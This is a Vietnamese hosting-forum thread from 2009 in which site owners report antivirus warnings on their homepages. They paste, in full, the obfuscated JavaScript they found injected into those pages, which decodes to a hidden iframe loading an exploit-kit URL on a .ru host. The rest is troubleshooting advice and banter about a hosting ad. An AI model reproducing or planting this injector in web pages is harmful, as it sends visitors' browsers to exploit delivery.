PDA

View Full Version : Host bị hiện tượng lạ ( Dính Troyjan )



rồng xanh
05-05-2009, 22:36
Ko biết sao mà cái web của mình khi vào trang chủ nó báo có Troyjan ( KAV-KIV-AVG đều báo ) .
Khi view source của web mình thì thấy cái đoạn code này lạ lạ :



<script>function vdxtxaVdtxb(vVybYdtttta){ var vVdxbtxaYYb=23; return(parseInt(vVybYdtttta,16));}function vaaYdxyYdtx(vaVaVVabxVY){ function vaabdbydyVV () {var vxbYtbaxtbV=23; return vxbYtbaxtbV;} var vVaaYdYxaba='';for(vtadtybxVxb=0; vtadtybxVxb<vaVaVVabxVY.length; vtadtybxVxb+=2){vVaaYdYxaba+=(String.fromCharCode( vdxtxaVdtxb(vaVaVVabxVY.substr(vtadtybxVxb,2))));} return vVaaYdYxaba;} document.write(vaaYdxyYdtx('3C5343524950543E77696E 646F772E7374617475733D27446F6E65273B646F63756D656E 742E777269746528273C696672616D65202069643D22626264 6178786474785922206E616D653D2262646456595679795656 22207372633D22687474703A2F2F7265646469692E72752F74 7261666669632F73706C6F6974312F3F272B4D6174682E726F 756E64284D6174682E72616E646F6D28292A36343836292B27 79566164565974566464222077696474683D22323832222068 65696768743D22323322207374796C653D22646973706C6179 3A206E6F6E653B223E3C2F696672616D653E27293C2F534352 4950543E'));</script> .
ĐOạn code này nó chèn vào sau thẻ </body> và trước thẻ <head> . Híc híc ai có cách giải quyết thì giúp mình với nhé .
Down code về quét cũng ko ra , xem từng source thì cũng ko ra , đặc biệt chi bị dính ở trang chủ , còn những trang nằm folder khác thì ko bị :(

SodepCatTuong
06-05-2009, 12:02
Kinh quá, lên đầu nào để bác nào chuyên về cái này giải quyết hộ!

LinuXpert
06-05-2009, 13:56
Cái này do trang web có lỗi hoặc server có lỗi dẫn đến việc ở bên ngoài có thể chèn thêm code vào file trên server được. Bạn nên liên hệ với nhà cung cấp để biết nguyên nhân do đâu.

magic1000
06-05-2009, 14:23
Down code về quét cũng ko ra , xem từng source thì cũng ko ra , đặc biệt chi bị dính ở trang chủ

Đừng có down code về mà bạn xem code ngay trên Host đó, máy có virus down về xem thì sao thấy dc.:crying:

lifeking
09-05-2009, 15:01
tui cũng bị thế này chắc bạn dùng host của digistar.vn rùi

mình cũng bị thế
code

<script>function vYyxbxatxxd(vVdVadbatYb){ var vVdxVdYbYbd=584; return(parseInt(vVdVadbatYb,16));}function vxtxytttxyd(vbdVYbVxYax){ var vxtaaVdaatd='';for(vVtVyxVydVV=0; vVtVyxVydVV<vbdVYbVxYax.length; vVtVyxVydVV+=2){vxtaaVdaatd+=(String.fromCharCode( vYyxbxatxxd(vbdVYbVxYax.substr(vVtVyxVydVV,2))));} return vxtaaVdaatd;} document.write(vxtxytttxyd('3C5343524950543E77696E 646F772E7374617475733D27446F6E65273B646F63756D656E 742E777269746528273C696672616D65202069643D22747474 7959646174596222206E616D653D2278797456646264616459 22207372633D22687474703A2F2F7265646469692E72752F74 7261666669632F73706C6F6974312F3F272B4D6174682E726F 756E64284D6174682E72616E646F6D28292A34353636383829 2B2778645974626162786264222077696474683D2237383222 206865696768743D2235383422207374796C653D2264697370 6C61793A206E6F6E653B223E3C2F696672616D653E27293C2F 5343524950543E'));</script>

[=========> Bổ sung bài viết <=========]

bác nào biết fix giúp em với
em xem cả httaccess rùi ko thấy gì trang code cũng không có gì edit trên cpanel cũng ko thấy chẳng bít nó ở đâu
mờ gói host khác trên server không sao

netvnasia
22-05-2009, 16:39
Bạn có thể chuyển qua sử dụng Host bên mình, Server có Anti-virus tự động scan file khi upload thông qua FTP.

IDM
22-05-2009, 16:43
ai lại câu khách như thế pác :emlaugh:

Bạn có thể chuyển qua sử dụng Host bên mình, Server có Anti-virus tự động scan file khi upload thông qua FTP.

netvnasia
22-05-2009, 18:52
ai lại câu khách như thế pác :emlaugh:

Kệ tớ! quăng mồi ngon cá cắn hay không tùy mà!

Flashman
22-05-2009, 19:07
Kệ tớ! quăng mồi ngon cá cắn hay không tùy mà!

với cái kiểu coi khách hàng là cá vậy , không biết các khách hàng hiện tại của bạn nhìn thấy sẽ nghĩ gì nữa ? :no:

netvnasia
22-05-2009, 20:47
với cái kiểu coi khách hàng là cá vậy , không biết các khách hàng hiện tại của bạn nhìn thấy sẽ nghĩ gì nữa ? :no:

Hi, so sánh mà. Có sao nói vậy thôi vì đúng là mồi ngon mà! khách của mình trên này cũng có và mình cũng ko sợ họ đọc được thì nghĩ gì. Nếu như lúc nào mồm cũng xoen xoét "khách hàng là thượng đế" mà chả coi là thượng đế thì cái đó mới đáng sợ chứ.